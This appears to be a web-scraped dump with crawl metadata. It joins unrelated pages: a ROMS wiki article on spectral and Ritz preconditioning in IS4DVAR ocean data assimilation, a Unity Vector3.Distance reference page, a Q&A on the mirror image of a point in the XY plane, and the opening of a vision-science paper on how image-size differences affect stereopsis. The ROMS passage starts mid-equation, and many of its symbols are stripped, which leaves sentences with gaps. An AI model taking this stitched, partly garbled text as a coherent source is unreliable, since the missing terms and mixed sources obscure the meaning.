Subscript o Superscript k minus 1 Baseline right-parenthesis Superscript upper T Baseline bold upper O Superscript negative 1 Baseline left-parenthesis bold upper G Superscript k minus 1 Baseline delta bold x Superscript k Baseline minus bold d Subscript o Superscript k minus 1 Baseline right-parenthesis$ (1)\n\nwhere represents the ROMS state-vector; is the state-vector increment for the outer-loop iterate; is the deviation of the background state-vector from the iterate; is the innovation vector with respect to the observations and the iterate; represents nonlinear ROMS state integrated to the observation times by NLROMS (), and interpolated to the observation locations by the observation operator (assumed linear for convenience); and denotes the corresponding time integrated and interpolated increment where the tangent linear model (TLROMS) is linearized about the interate, . The matrices and are the background error and observation error covariance matrices respectively.\n\nFollowing Weaver et al. (2003), a first level of inner-loop preconditioning is performed via a transformation of variable, , hereafter referred to as v-space. By default, this first level of preconditioning is always done in ROMS IS4DVAR. ROMS IS4DVAR now provides the option to perform a second level of inner-loop preconditioning. This is activated using the logical flags Lprecond and Lritz in the s4dvar.in file. With Lprecond=.TRUE. preconditioning is activated according to the value of the flag Lritz. With Lritz=.FALSE. \"spectral\" preconditioning is performed, while with Lritz=.TRUE., \"Ritz\" preconditioning is used.\n\nThe second level of preconditioning is only active for (i.e. when more than 1 outer-loop is employed). During the first outer-loop only the first level preconditioner in v-space is used. When Lprecond=.TRUE., a new transformation of variable is performed in the inner-loops according to where, following Tshimanga (2007):\n\n $bold upper P Subscript j Baseline equals product Underscript i equals 1 Overscript m Endscripts left-bracket bold upper I minus left-parenthesis 1 minus lamda Subscript i Superscript one-half Baseline right-parenthesis bold u Subscript i Baseline bold u Subscript i Superscript upper T Baseline right-bracket for spectral preconditioning$ (2)\n $bold upper P Subscript j Baseline equals product Underscript i equals 1 Overscript m Endscripts left-bracket bold upper I minus left-parenthesis 1 minus theta Subscript i Superscript one-half Baseline right-parenthesis bold z Subscript i Baseline bold z Subscript i Superscript upper T Baseline plus theta Subscript i Superscript one-half Baseline w Subscript i Baseline bold z Subscript i Baseline bold q Subscript m Superscript j Baseline Superscript upper T Baseline right-bracket for Ritz preconditioning$ (3)\n\nIn (2) and (3), refers to the inner-loop and is the number of inner-loops used per outer-loop; are estimates of the eigenvalue/eigenvector pairs of the Hessian matrix ; are the Ritz value/Ritz vector pairs of ; and is the Lanczos vector for the inner-loop of outer-loop . The factor arises from the formal error in the Ritz vectors of the Hessian matrix and is given by , where and is the matrix of Lanczos vectors from outer-loop , the vector has zero elements except for the element which has a value of 1, and (Fisher, 1997).\n\nIf, for example, 3 outer-loops are used, then two second level preconditioners will be employed, and . The preconditioner is applied in outer-loop to convert from v-space to -space (), and is based on the Hessian eigenvectors or Ritz vectors computed during outer-loop . The preconditioner is applied in outer-loop and is based on the Hessian eigenvectors or Ritz vectors of outer-loop . The change of variable in this case is , and converts from -space to -space. In this way the second level preconditioners derived from each subsequent outer-loop are applied sequentially.\n\n### Illustrative Results\n\nAll of the following experiments use ROMS configured for the Intra-Americas Sea with 40~km resolution in which only SST and SSH observations are assimilated (Powell et al., 2008). Data assimilation windows of 1~day, 3~days and 7~days were used.\n\n#### Spectral vs Ritz preconditioning\n\nAs noted by Tshimanga et al. (2008), the accuracy of the Hessian eigenvectors that should be employed during spectral preconditioning is an important factor controlling the behavior the preconditioner. If the are normalized to have unit norm, then formally, the error can be defined as where is the estimate of the largest eigenvalue of the Hessian matrix . Tshimanga et al. (2008) found that if eigenvectors with unacceptably large are used in the spectral preconditioner, the performance of the preconditioner can be significantly degraded. The same is true in ROMS as described below.",
null,
"Figure 1: The normalized cost function computed within inner-loops (curves), and the cost function computed relative to the nonlinear model during outer-loops (open circles). The notation (m,n) refers to the number of outer-loops used, n, and the number of inner-loops per outer-loop, (m+1). The various cases shown are for a 1-day assimilation window: (30,1) no preconditioning (solid black line, black circles); (10,3) no preconditioning (solid dark blue line, dark blue circles); (10,3) and spectral preconditioning using 2 eigenvectors (red curve, red circles), 4 eigenvectors (green curve, green circles), 6 eigenvectors (turquoise line, turquoise circles), 8 eigenvectors (purple line, purple circles), and 10 eigenvectors (black dashed curve, black asterisks). The horizontal dashed blue line represents the theoretical minimum value of the cost function given by half the number of assimilated observations.\n\nFigure 1 shows the value of computing using (1) for several different configurations of inner-loops and outer-loops for a 1 day assimilation interval. In Fig. 1, has been normalized by its initial value. For convenience, the notation is used where is the number of outer-loops employed, and is the number of inner-loops per outer-loop. The inner-loop count is rather than because the first inner-loop of each outer-loop acts as an important initialization step for the Lanczos vector sequence. The total number of iterations performed is .\n\nThe curves in Fig. 1 show the cost function computed using (1) using the increments from the inner-loops. However, a much more important practical indicator of the overall performance of the data assimilation system is the cost function, , computed directly from the NLROMS solution during each outer-loop. Using the previous notation:\n\n $upper J Subscript normal upper N normal upper L Superscript k Baseline equals one-half left-parenthesis bold x Superscript k Baseline minus bold x Subscript b Baseline right-parenthesis Superscript upper T Baseline bold upper B Superscript negative 1 Baseline left-parenthesis bold x Superscript k Baseline minus bold x Subscript b Baseline right-parenthesis plus one-half left-parenthesis script upper G left-parenthesis bold x Superscript k Baseline right-parenthesis minus bold y right-parenthesis Superscript upper T Baseline bold upper O Superscript negative 1 Baseline left-parenthesis script upper G left-parenthesis bold x Superscript k Baseline right-parenthesis minus bold y right-parenthesis$ (4)\n\nThe values of normalized are indicated in Fig. 1 as the color-coded symbols or *. The dashed horizontal line in Fig. 1 represents the theoretical minimum value of given by half the number of observations assimilated during the 1-day interval.\n\nFor reference, two unpreconditioned IS4DVAR calculations are shown in Fig. 1 corresponding to (30,1) and (10,3). The remaining curves in Fig. 1 show the evolution of for (10,3) using spectral preconditioning and different numbers of the estimated eigenvectors of the Hessian matrix . In all cases, the solution is identical for the first 10 iterations because second level preconditioning is only applied beyond that point. The estimated accuracy varies between for and and for . Figure 1 reveals that as the number of eigenvectors used increases from 2 to 10, the values of and increase, indicating that using the less accurate vectors degrades the convergence rate of the cost function. This is in agreement with Tshimanga et al. (2008). The acceptable accuracy of the eigenvectors is controlled by the ROMS input parameter HevecErr, and the experiments in Fig. 1 suggest that HevecErr should be chosen to be . The best case shown in Fig. 1 corresponds to using 2 eigenvectors. On first inspection, Fig. 1 suggests that the unpreconditioned case (30,1) produces the best solution. This is certainly true for , however for the more important measure , the spectrally preconditioned (10,3) case using 2 eigenvectors is superior.",
null,
"Figure 2: The normalized cost function computed within inner-loops (curves), and the cost function computed relative to the nonlinear model during outer-loops (open circles). The various cases shown are for a 1-day assimilation window: (30,1) no preconditioning (solid black line, black circles); (10,3) no preconditioning (solid dark blue line, dark blue circles); (10,3) and Ritz preconditioning using 2 Ritz vectors (red curve, red circles), 4 Ritz vectors (green curve, green circles), 6 Ritz vectors (turquoise line, turquoise circles), 8 Ritz vectors (purple line, purple circles), and 10 Ritz vectors (black dashed curve, black asterisks).The horizontal dashed blue line represents the theoretical minimum value of the cost function given by half the number of assimilated observations.\n\nFigure 2 has the same format as Fig. 1 and shows instead the case where Ritz preconditioning is employed using different numbers of Ritz vectors. As discussed by Tshimanga et al. (2008), the Ritz preconditioner is less sensitive to the accuracy of the Ritz vectors that are used. This is also the case in Fig. 2 where increasing the number of vectors used leads to a continual increase in the rate of convergence of and , despite the fact that for each is quite large for . In fact, (10,3) using all 10 available is the best case in Fig. 2 both in terms of and .",
null,
"Figure 3: The normalized cost function computed within inner-loops (curves), and the cost function computed relative to the nonlinear model during outer-loops (open circles). The various cases shown are for a 1-day assimilation window: (10,3) and Ritz preconditioning using 2 Ritz vectors (black curve, black circles), and 10 Ritz vectors (red curve, red asterisks); and (10,3) and spectral preconditioning using 2 eigenvectors (blue line, blue circles). The horizontal dashed blue line represents the theoretical minimum value of the cost function given by half the number of assimilated observations.\n\nInspection of equations (2) and (3) shows that the spectral and Ritz preconditioners are similar except that the Ritz preconditioner possesses an additional term which accounts for the formal error in the Ritz vector estimates. Therefore, if both preconditioners are restricted to using only accurate eigenvectors (i.e. small ), both should yield very similar results because the last term in equation (3) will be small. This is confirmed in Fig. 3 which shows and for (10,3) using spectral and Ritz preconditioning with 2 eigenvectors - the two cases are indistinguishable. Figure 3 also shows the (10,3) case using Ritz preconditioning and 10 Ritz vectors, and indicates that while is significantly smaller than the case using only 2 vectors, the percentage reduction in is not nearly as marked.\n\n#### Ritz Preconditioning and Iteration Dependence\n\nThe results from the previous section indicate that Ritz preconditioning is generally superior to spectral preconditioning and more robust in the sense that it is less sensitive to the accuracy of the eigenvectors that are admitted to the preconditioners. In this section the sensitivity of the Ritz preconditioner to the combination of inner- and outer-loops is considered.",
null,
"Figure 4: The normalized cost function computed within inner-loops (curves), and the cost function computed relative to the nonlinear model during outer-loops (open circles). The various cases shown are for a 1-day assimilation window: (30,1) no preconditioning (solid black line, black circles); (10,3) no preconditioning (solid dark blue line, dark blue circles); (10,3) and Ritz preconditioning using 10 Ritz vectors (dashed black curve, black asterisks); (15,2) and Ritz preconditioning using 15 Ritz vectors (green curve, green circles); and (5,6) and Ritz preconditioning using 4 Ritz vectors (red curve, red circles).The horizontal dashed blue line represents the theoretical minimum value of the cost function given by half the number of assimilated observations.\n\nFigure 4 shows and for 1-day cases for which the total number of iterations is similar () but which employ different combinations of inner- and outer-loops. The computational effort is therefore comparable in all cases. The (30,1) and (10,3) reference cases that use no preconditioning are included in Fig. 4. The best case identified in section 3.1 was (10,3) with Ritz preconditioning using all 10 Ritz vectors from outer-loops and . This case is reproduced in Fig. 3, along with a (15,2) case and a (5,6) case. In the (15,2) case there are 15 Ritz vectors available for preconditioning during the 2nd outer-loop, and Fig. 4 shows that while is lower than the (10,3) case at the end of the experiment, the (10,3) case is still superior based on . During the (5,6) case there are potentially 6 Ritz vectors available, during outer-loops , but in general only 4 of them have sufficiently small to be useful. Each iteration of the Lanczos algorithm yields not only an additional Ritz vector, but also refines the estimates of those Ritz vectors identified during previous inner-loops. Therefore, decreases for all of the Ritz vectors as the number of inner-loops increases. Attempts to use all 6 Ritz vectors lead to significant degradation of and (not shown). Figure 4 shows the (5,6) case using 4 Ritz vectors which does not perform as well as (10,3) or (15,2) and is similar to the case with no preconditioning.\n\nFigure 4 suggests that for a given computational effort (as dictated by the combined number of innner- and outer-loops), Ritz preconditioning is most effective with and . This reflects the trade-off between the increased accuracy of the available Ritz vectors with increasing number of inner-loops, and the benefits of updating the non-linear ROMS solution about which the inner-loop minimizations are performed.\n\n#### Dependence on Assimilation Time Window",
null,
"Figure 5: The normalized cost function computed within inner-loops (curves), and the cost function computed relative to the nonlinear model during outer-loops (open circles). The various cases shown are for a 3-day assimilation window: (30,1) no preconditioning (solid black curve, black circles); (10,3) no preconditioning (solid dark blue line, dark blue circles); (10,3) and spectral preconditioning using 2 eigenvectors (red curve, red circles), and 10 eigenvectors (green curve, green circles); (10,3) and Ritz preconditioning using 5 Ritz vectors (turquoise line, turquoise circles), and 10 Ritz vectors (black dashed curve, black asterisks). The horizontal dashed blue line represents the theoretical minimum value of the cost function given by half the number of assimilated observations.\n\nA subset of the experiments presented in the previous 2 sections were repeated using 3-day and 7-day assimilation windows. The results for the 3-day case are shown in Fig. 5. Figure 5 shows results from two spectrally preconditioned (10,3) cases, one employing 2 eigenvectors and the other 10 eigenvectors. As in the 1-day case, the performance of spectral preconditioning is degraded by using inaccurate estimates of the Hessian eigenvectors. The 2 eigenvector case, however, is superior to the (30,1) case with no preconditioning, but only marginally better than (10,3) case with no preconditioning. Two (10,3) cases using Ritz preconditioning and 5 and 10 Ritz vectors respectively are also shown in Fig. 5. The latter is the best case of all for .",
null,
"Figure 6: The normalized cost function computed within inner-loops (curves), and the cost function computed relative to the nonlinear model during outer-loops (open circles). The various cases shown are for a 7-day assimilation window: (30,1) no preconditioning (solid black curve, black circles); (10,3) no preconditioning (solid dark blue line, dark blue circles); (10,3) and spectral preconditioning using 2 eigenvectors (red curve, red circles), (10,3) and Ritz preconditioning using 5 Ritz vectors (green curve, green circles); and 10 Ritz vectors (black dashed curve, black asterisks). The horizontal dashed blue line represents the theoretical minimum value of the cost function given by half the number of assimilated observations.\n\nThe results from the same combinations of inner- and outer-loops and preconditioners using a 7-day assimilation window are shown in Fig. 6. In this case, some of the values are missing at the end of the final outer-loop for some of the calculations because the initial condition generated by IS4DVAR caused the model to blow-up. This is indicative that a 7-day assimilation combined with a large combined number of inner- and outer-loops may be pushing the tangent linear assumption beyond what is a reasonable limit. Figure 6 suggests that while sometimes shows a significant improvement with preconditioning, the assimilation scheme is struggling to converge. The values of for the eigenvectors and Ritz vectors in this case are consistently higher than for the 1-day and 3-day cases, so the uninspiring performance of the preconditioners in the 7-day case may be due partly to the lower accuracy of the available vectors and partly to violation of the tangent linear assumption.\n\n### Summary and Recommendations\n\nThe preconditioned Lanczos-method based IS4DVAR scheme has been successfully implemented in the ROMS code. The experiments described above indicate that the algorithm is working correctly. Two types of second level preconditioning are available: so-called spectral preconditioning in which estimates of the Hessian eigenvectors are used; and Ritz preconditioning in which the Ritz vectors of the Hessian are used. Although not explicitly stated or obvious from the above discussion, the Hessian eigenvectors estimates and Ritz vectors are identical, so the only difference between the two approaches to preconditioning is the way in which the eigenvector information is used. As discussed in the Spectral vs Ritz preconditioning section, the accuracy of the Hessian eigenvectors that are employed in the spectral preconditioner is a critical factor: using eigenvectors for which is too large degrades the performance of IS4DVAR. The Ritz preconditioner of Tshimanga et al. (2008), however, cleverly circumvents this problem by accounting for the formal error in the eigenvectors (now referred to as the Ritz vectors).\n\nWhile the above experiments are far from exhaustive, they do give some sense of the performance that can be expected from preconditioned IS4DVAR system. Based on these experiments, the following recommendations can be considered as providing useful guidance for configuring the ROMS IS4DVAR system and choosing the preconditioner parameters:\n\n1. For spectral preconditioning, it is recommended that the threshhold for acceptable accuracy of the Hessian eigenvectors estimates, HevecErr be chosen to be .\n2. For Ritz preconditioning, Ritz vectors of relatively low accuracy can be tolerated, so HevecErr is recommended.\n3. For any problem there will be a maximum acceptable computational cost which will dictate the total number of inner-loops and outer-loops that can be used. There is a trade-off between the number of inner-loops and outer-loops in that increasing the number of inner-loops yields more eigenvectors or Ritz vectors of acceptable accuracy for the preconditioner, while increasing the number of outer-loops allows more frequent updating of the NLROMS solutions which helps to drive down . The recommendation here is that the number of inner-loops be at least 10, and that the number of outer-loops be at least 3.\n4. The experience here is that a long assimilation window can degrade the performance of the preconditioner. This needs to be more fully explored, but is probably associated with violation of the tangent linear assumption when the assimilation window is excessively long."
]
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null,
"https://www.myroms.org/wiki/images/thumb/9/9e/cost_fig1.png/850px-cost_fig1.png",
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"https://www.myroms.org/wiki/images/thumb/b/b1/cost_fig2.png/850px-cost_fig2.png",
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"https://www.myroms.org/wiki/images/thumb/d/d2/cost_fig3.png/850px-cost_fig3.png",
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"https://www.myroms.org/wiki/images/thumb/1/1b/cost_fig4.png/850px-cost_fig4.png",
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"https://www.myroms.org/wiki/images/thumb/f/f2/cost_fig5.png/850px-cost_fig5.png",
null,
"https://www.myroms.org/wiki/images/thumb/b/b3/cost_fig6.png/850px-cost_fig6.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9078058,"math_prob":0.9555382,"size":15521,"snap":"2020-10-2020-16","text_gpt3_token_len":3435,"char_repetition_ratio":0.19069408,"word_repetition_ratio":0.029905776,"special_character_ratio":0.20700985,"punctuation_ratio":0.09799714,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9819402,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-04-07T16:19:25Z\",\"WARC-Record-ID\":\"<urn:uuid:c97ae152-6d1a-433f-93d2-5748c520cf85>\",\"Content-Length\":\"189530\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e14af310-b340-407e-a9c9-39e6a7876d77>\",\"WARC-Concurrent-To\":\"<urn:uuid:1d6f4657-03d1-4321-9f01-216f14ca2293>\",\"WARC-IP-Address\":\"165.230.169.162\",\"WARC-Target-URI\":\"https://www.myroms.org/wiki/I4DVAR\",\"WARC-Payload-Digest\":\"sha1:3VXO5HM3CTQGPRMUY3SDDMQYKV7HQ7GA\",\"WARC-Block-Digest\":\"sha1:4S4S2DRFSDINMRZBB2KRWZ5YHEXGE7AF\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-16/CC-MAIN-2020-16_segments_1585371803248.90_warc_CC-MAIN-20200407152449-20200407182949-00250.warc.gz\"}"} |
https://docs.unity3d.com/kr/2017.1/ScriptReference/Vector3.Distance.html | [
"Version: 2017.1\n언어: 한국어\n\n# Vector3.Distance\n\n매뉴얼로 전환\npublic static float Distance (Vector3 a, Vector3 b);\n\n## 설명\n\nReturns the distance between `a` and `b`.\n\n`Vector3.Distance(a,b)` is the same as `(a-b).magnitude`.\n\n```using UnityEngine;\nusing System.Collections;public class ExampleClass : MonoBehaviour {\npublic Transform other;\nvoid Example() {\nif (other) {\nfloat dist = Vector3.Distance(other.position, transform.position);\nprint(\"Distance to other: \" + dist);\n}\n}\n}\n```"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.53810936,"math_prob":0.9094364,"size":344,"snap":"2022-05-2022-21","text_gpt3_token_len":78,"char_repetition_ratio":0.12941177,"word_repetition_ratio":0.0,"special_character_ratio":0.25290698,"punctuation_ratio":0.265625,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9790857,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-25T10:21:55Z\",\"WARC-Record-ID\":\"<urn:uuid:33e56303-a294-42b2-ab29-41bb250569c8>\",\"Content-Length\":\"19929\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cf6db4a5-adf1-4668-ac1f-ca410e33ffed>\",\"WARC-Concurrent-To\":\"<urn:uuid:1a193536-1d68-4352-b10d-94eaad4197d5>\",\"WARC-IP-Address\":\"34.120.114.139\",\"WARC-Target-URI\":\"https://docs.unity3d.com/kr/2017.1/ScriptReference/Vector3.Distance.html\",\"WARC-Payload-Digest\":\"sha1:BI7XR6Q6RQXM3LP6CZZXUUW3IH7MYHOJ\",\"WARC-Block-Digest\":\"sha1:PYGKIAZXMOYCI3S6FIPY7RNK3LC4EEKD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662584398.89_warc_CC-MAIN-20220525085552-20220525115552-00702.warc.gz\"}"} |
https://aakashdigitalsrv1.meritnation.com/ask-answer/question/find-the-distance-between-the-point-3-4-6-and-its-image-in-t/introduction-to-three-dimensional-geometry/13174089 | [
"# Find the distance between the point (-3,4,-6)and its image in the XY plane. Pls answer fast..dont give any links..pls give explanation\n\nIf a point of an object has coordinates (x, y, z) then the image of this point (as reflected by a mirror in the xy plane) has coordinates (x, y, -z).\nHence the coordinate of the image of the point(-3,4,-6) in xy-plane will be (-3,4,6).\nSo the distance between them will be d = $\\sqrt{\\left({\\mathrm{x}}_{2}-{\\mathrm{x}}_{1}{\\right)}^{2}+\\left({\\mathrm{y}}_{2}-{\\mathrm{y}}_{1}{\\right)}^{2}+\\left({\\mathrm{z}}_{2}-{\\mathrm{z}}_{1}{\\right)}^{2}}\\phantom{\\rule{0ex}{0ex}}=\\sqrt{{\\left(-3+3\\right)}^{2}+{\\left(4-4\\right)}^{2}+{\\left(6+6\\right)}^{2}}\\phantom{\\rule{0ex}{0ex}}=\\sqrt{\\left(6+6{\\right)}^{2}}\\phantom{\\rule{0ex}{0ex}}=12$\n\n• 0\nWhat are you looking for?"
]
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null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.89297515,"math_prob":0.99996567,"size":538,"snap":"2022-27-2022-33","text_gpt3_token_len":153,"char_repetition_ratio":0.1610487,"word_repetition_ratio":0.40425533,"special_character_ratio":0.302974,"punctuation_ratio":0.16296296,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99941814,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-20T02:37:22Z\",\"WARC-Record-ID\":\"<urn:uuid:1f9281f6-3649-41fb-8663-10a224d65094>\",\"Content-Length\":\"26957\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0ad5805b-3af3-4197-bd95-0bcac7a08f70>\",\"WARC-Concurrent-To\":\"<urn:uuid:63282e86-2051-4b4f-8696-25acbfbf6305>\",\"WARC-IP-Address\":\"99.84.208.120\",\"WARC-Target-URI\":\"https://aakashdigitalsrv1.meritnation.com/ask-answer/question/find-the-distance-between-the-point-3-4-6-and-its-image-in-t/introduction-to-three-dimensional-geometry/13174089\",\"WARC-Payload-Digest\":\"sha1:Z2CTFWPPL7JWRWARTNMASM73GXAJ2XTG\",\"WARC-Block-Digest\":\"sha1:OWIB3L26M6YG2ZWYK24NXLWVNZUYW5MO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882573876.92_warc_CC-MAIN-20220820012448-20220820042448-00485.warc.gz\"}"} |
https://jov.arvojournals.org/article.aspx?articleid=2193358 | [
"",
null,
"jov",
null,
"February 2009\nVolume 9, Issue 2\nFree\nResearch Article | February 2009\nImage-size differences worsen stereopsis independent of eye position\nAuthor Affiliations\nJournal of Vision February 2009, Vol.9, 17. doi:https://doi.org/10.1167/9.2.17\n• Views\n• PDF\n• Share\n• Tools\n×\n###### This feature is available to authenticated users only.\n• Get Citation\n\nBjörn N. S. Vlaskamp, Heather R. Filippini, Martin S. Banks; Image-size differences worsen stereopsis independent of eye position. Journal of Vision 2009;9(2):17. doi: https://doi.org/10.1167/9.2.17.\n\n© ARVO (1962-2015); The Authors (2016-present)\n\n×\n• Supplements\nAbstract\n\nWith the eyes in forward gaze, stereo performance worsens when one eye's image is larger than the other's. Near, eccentric objects naturally create retinal images of different sizes. Does this mean that stereopsis exhibits deficits for such stimuli? Or does the visual system compensate for the predictable image-size differences? To answer this, we measured discrimination of a disparity-defined shape for different relative image sizes. We did so for different gaze directions, some compatible with the image-size difference and some not. Magnifications of 10–15% caused a clear worsening of stereo performance. The worsening was determined only by relative image size and not by eye position. This shows that no neural compensation for image-size differences accompanies eye-position changes, at least prior to disparity estimation. We also found that a local cross-correlation model for disparity estimation performs like humans in the same task, suggesting that the decrease in stereo performance due to image-size differences is a byproduct of the disparity-estimation method. Finally, we looked for compensation in an observer who has constantly different image sizes due to differing eye lengths. She performed best when the presented images were roughly the same size, indicating that she has compensated for the persistent image-size difference.\n\nIntroduction\nTo estimate binocular disparity, the visual system must determine which parts of the two retinal images correspond. There is now substantial evidence that the primary computation in disparity estimation is cross-correlation of the two images. The evidence comes from successful modeling of human vision (Banks, Gepshtein, & Landy, 2004; Cormack, Stevenson, & Schor, 1991; Filippini & Banks, 2009; Fleet, Wagner, & Heeger, 1996; Harris, McKee, & Smallman, 1997) and visual cortex (Cumming & DeAngelis, 2001; Ohzawa, 1998; Ohzawa, DeAngelis, & Freeman, 1990), and from successful applications in computer vision (Kanade & Okutomi, 1994). High correlations, and hence reliable estimates of disparity, are obtained when the two eyes' images are similar, and lower correlations and less reliable disparity estimates when the images are dissimilar.\nThe problem of interest in the current paper is how the position of an object relative to the head affects the ability to estimate disparity. For objects in the visual plane (the plane containing the eye centers and the fixation point), the ratio of image sizes for a gaze-normal patch is:\n$S= ( X − i 2 ) 2 + Z 2 ( X + i 2 ) 2 + Z 2$\n(1)\nwhere i is inter-pupillary distance, object position is ( X, Z), and left- and right-eye positions are (− i/2,0) and ( i/2,0). Figure 1 plots the relative sizes of the two eyes' images as a function of the head-centric position of an object. The object is a small surface patch that is perpendicular to the line of sight (slant = 0°). The circles are iso-magnification contours representing object positions for which one eye's image is a particular percentage larger than the other eye's image. This figure shows that large relative magnifications occur in natural viewing of near eccentric objects. This creates an interesting problem for disparity estimation via correlation: when the two images have different sizes, the correlation between images is necessarily reduced. Does this mean that stereopsis exhibits deficits for near eccentric stimuli? Or does the visual system have a mechanism that compensates for the predictable image-size differences associated with such viewing?\nFigure 1\n\nIso-magnification contours. This is a plan view of the plane containing the eyes and the fixation point. The simulated stimuli are small gaze-normal patches. The contours represent the regions in space for which one eye's image of a patch is a given percentage larger than the other eye's image.\nFigure 1\n\nIso-magnification contours. This is a plan view of the plane containing the eyes and the fixation point. The simulated stimuli are small gaze-normal patches. The contours represent the regions in space for which one eye's image of a patch is a given percentage larger than the other eye's image.",
null,
"Several studies have examined the effects of image-size differences when the eyes are in forward gaze (horizontal version = 0°). As the size difference increases, stereoacuity becomes systematically poorer and the largest disparity supporting a depth percept decreases (Highman, 1977; Jiménez, Ponce, del Barco, Díaz, & Pérez-Ocón, 2002; Lovasik & Szymkiw, 1985). If image size differs too much, stereopsis breaks down altogether (Highman, 1977; Lovasik & Szymkiw, 1985). Large meridional differences in image size (i.e., horizontal or vertical) also disrupt stereopsis (Blakemore, 1970; Burt & Julesz, 1980; Fiorentini & Maffei, 1971; Ogle, 1950).\nOgle (1950) realized that large size differences occur naturally with objects that are close to the head and positioned at large azimuths. For fixated and gaze-normal surface patches, Equation 1 can be rewritten as:\n$S=cos(Rl)cos(Rr)$\n(2)\nwhere Rl and Rr are the horizontal rotation angles of the left and right eye, respectively. Ogle proposed that when the eyes are fixating eccentrically, the retinal image in the nasally turned eye (the eye receiving the smaller retinal image) is magnified “psychologically” relative to the other eye's image; such magnification would be the reciprocal of the magnification in Equation 2. Ogle made no claim about where in visual processing the neural magnification occurs. We reasoned that if the hypothesized neural magnification occurred before the stage of disparity estimation (i.e., before correlating the two eyes' images), it would reduce the difference in the sizes of the represented images and thereby increase the reliability of disparity estimates. As a consequence, one would predict that the deterioration of stereopsis that accompanies large differences in image size would not occur when the size differences are compatible with eye position. Ogle presented experimental evidence that the hypothesized neural magnification occurs and that the trigger for the magnification is an extra-retinal, eye-position signal. Specifically, dichoptic images of different shapes, but the same retinal size appeared to differ in size when the eyes were in eccentric gaze (Ames, Ogle, & Gliddon, 1932; Herzau & Ogle, 1937; Ogle, 1939).1,2\nFigure 1 shows the size ratios that occur with gaze-normal surfaces at different positions relative to the head. From the figure, we cannot determine how commonplace various size ratios are because the probability of a given ratio depends on the probability of surfaces being presented at different positions relative to the head and on the probability of different surface orientations. We are not aware of measurements of the probability distributions for different head-centric positions, but there is good evidence concerning the most probable surface orientation. A gaze-normal surface (slant = 0°) is the most likely to stimulate a patch of retina (Hillis, Watt, Landy, & Banks, 2004). The reason is the following. The distribution of surface slants in the world is presumably uniform, at least for tilts near 0° (the distribution is non-uniform for tilts near 90° because the ground plane is often visible; Potetz & Lee, 2003). If the distribution in the world is uniform, the probability of observing a particular slant at the retina will be proportional to the cosine of that slant because of the perspective projection of the eye. Said another way, gaze-normal surfaces project to larger retinal images than steeply slanted surfaces. Thus, the most common surface slant at all azimuths is 0°. Accordingly, for surfaces positioned eccentrically relative to the head, the mostly likely slant yields size ratios different from 1. Therefore, Ogle's hypothesized compensation would be useful in natural eccentric viewing if it minimized the average image-size difference at the two eyes. And this in turn would guarantee that disparity estimation was most precise for the most likely surfaces.\nWe asked if the visual system has adopted a compensation mechanism like the one proposed by Ogle to deal with image magnification due to eccentric gaze. Specifically, we examined whether the reliability of disparity estimation is immune to image-size changes that occur naturally with changes in eye position.\nExperiment 1\nMethods\nObservers\nFour observers, ages 22–32 years, participated. All had normal visual acuity and stereoacuity. Three were unaware of the experimental hypotheses; the fourth was author BNV. All were experienced psychophysical observers.\nApparatus\nObservers viewed the stimuli in a haploscope (Backus, Banks, van Ee, & Crowell, 1999); the room was otherwise dark. Images were projected to the eyes from two CRTs, one for each eye (Viewsonic g225f, 2048 × 1536 pixels, pixel size & 1.6 arcmin, refresh rate = 75 Hz). Each CRT was mounted on an arm that rotated about a vertical axis that was co-linear with the vertical rotation axis of the appropriate eye. The distance from the cornea to the mid-point of the CRT was 39 cm, and a line from the eye to the mid-point of each display was perpendicular to the surface of the CRT. The eyes were correctly positioned with respect to the apparatus by adjusting a custom bite bar using a sighting device (Hillis & Banks, 2001). Once correctly positioned, the retinal images were not altered when the haploscope arms were rotated to create the stimulus for different eye positions.\nStimuli were generated and presented using the Psychtoolbox (Brainard, 1997; Pelli, 1997). To produce small disparities accurately, the stimuli were anti-aliased and the CRTs were spatially calibrated (Backus et al., 1999). Stimuli similar to the ones in the experiment are shown in Figure 2\nFigure 2\n\nStereograms illustrating the effects of magnification and disparity noise. The disparities in each stereogram specify a sinusoidal corrugation in depth (cross fuse or divergently fuse the stimuli to see the corrugation). The stereograms on the left contain only signal dots (coherence = 1) and the ones on the right contain 40% signal dots (coherence = 0.4). The half images in the top row are the same size; those in the middle row differ by 10%; those in the bottom row differ by 20%.\nFigure 2\n\nStereograms illustrating the effects of magnification and disparity noise. The disparities in each stereogram specify a sinusoidal corrugation in depth (cross fuse or divergently fuse the stimuli to see the corrugation). The stereograms on the left contain only signal dots (coherence = 1) and the ones on the right contain 40% signal dots (coherence = 0.4). The half images in the top row are the same size; those in the middle row differ by 10%; those in the bottom row differ by 20%.",
null,
